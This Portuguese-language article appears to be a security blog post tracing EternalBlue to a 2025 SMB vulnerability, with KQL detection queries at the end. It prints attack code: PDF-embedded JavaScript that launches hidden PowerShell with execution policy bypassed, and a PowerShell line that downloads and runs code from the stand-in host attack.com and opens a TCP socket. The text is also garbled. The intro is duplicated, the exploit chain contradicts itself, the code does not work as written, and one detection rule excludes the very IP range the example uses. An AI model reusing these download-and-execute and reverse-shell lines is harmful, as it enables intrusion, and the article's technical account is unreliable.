
Ele abalou o mundo em 2017 e evoluiu para o CVE‑2025‑2776 de hoje. A Microsoft ainda depende do SMBv1; este artigo explicará como os atacantes ajustaram a cadeia, de uma simples DLL a uma pilha completa de reverse‑shell, e o que isso significa para os defensores.
Ele abalou o mundo em 2017 e evoluiu para o atual CVE‑2025‑2776. A Microsoft ainda depende do SMBv1; este artigo explicará como os atacantes ajustaram a cadeia, de uma simples DLL a uma pilha completa de reverse shell, e o que isso significa para os defensores.
Uma Breve Retrospectiva Histórica
Quando o WannaCrypter usou o EternalBlue em 2017, a falha era um clássico bug de execução remota de código que permitia a um atacante malicioso enviar um pacote para um host Windows via SMBv1. O payload criava um executável que executava um novo processo e abria uma porta de escuta na mesma máquina; a partir daí, o atacante podia pivotar para fora ou exfiltrar dados de volta para um servidor remoto. O código do EternalBlue era curto, mas tinha alguns efeitos colaterais difíceis de rastrear: o pacote SMB tinha um layout de cabeçalho estranho, e o kernel do Windows descartava o payload na memória antes de gravá-lo em disco.
Avançando para 2025, o novo CVE‑2025‑2776 pega essa mesma ideia e adiciona uma camada extra de complexidade. Em vez de apenas abrir uma porta, o atacante agora grava uma reverse shell na própria pilha de rede. Isso significa que você pode ver uma sessão SMB completa originada do dispositivo Pi nos logs, e tem um novo indicador (o nome do processo e o endereço IP) para observar.
**O Código Que Faz Acontecer **
Abaixo está o JavaScript que fica dentro do anexo PDF e dispara toda a cadeia:
var cmd = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File C:\Users\Admin\script.ps1"; WshShell.Sleep(500); var sh = WshShell.Exec(cmd); while (!sh.StdOut.EndOfStream) { var line = sh.StdOut.ReadLine(); WScript.Echo(line); }
Quando o script termina, ele cria um arquivo chamado script.ps1 no host de destino. O script PowerShell em si se parece com isto:
powershell Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://attack.com/shell.exe') $client = New-Object System.Net.Sockets.TcpClient $client.Connect('10.0.1.5', 445) $stream = $client.GetStream() $payload = Get-Content -Path C:\Users\Admin\script.ps1 | Out-File -Encoding binary $stream.Write($payload, 0, $payload.Length)
Estratégia de Detecção KQL para CVE-2025-2776
Execução Suspeita do PowerShell
Detecta a criação de script.ps1 em diretórios de usuário.
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has_all ("-ExecutionPolicy", "Bypass", "-NoProfile") | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, AccountName
Conexão SMB de Saída para IP Incomum
Sinaliza tráfego SMB de saída para IPs internos não padronizados
DeviceNetworkEvents | where RemotePort == 445 | where RemoteIP !startswith "192.168." and RemoteIP !startswith "10." | where InitiatingProcessFileName == "powershell.exe" | project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine
Comportamento de Reverse Shell via TCPClient
Procura por PowerShell usando classes .NET para iniciar o comportamento de reverse shell.
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has "System.Net.Sockets.TcpClient" | project Timestamp, DeviceName, ProcessCommandLine, AccountName
Atividade de Gravação em Network Stream
Detecção avançada se a telemetria incluir atividade de fluxo .NET.
DeviceProcessEvents | where ProcessCommandLine has "GetStream" and ProcessCommandLine has "Write" | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, ProcessCommandLine, AccountName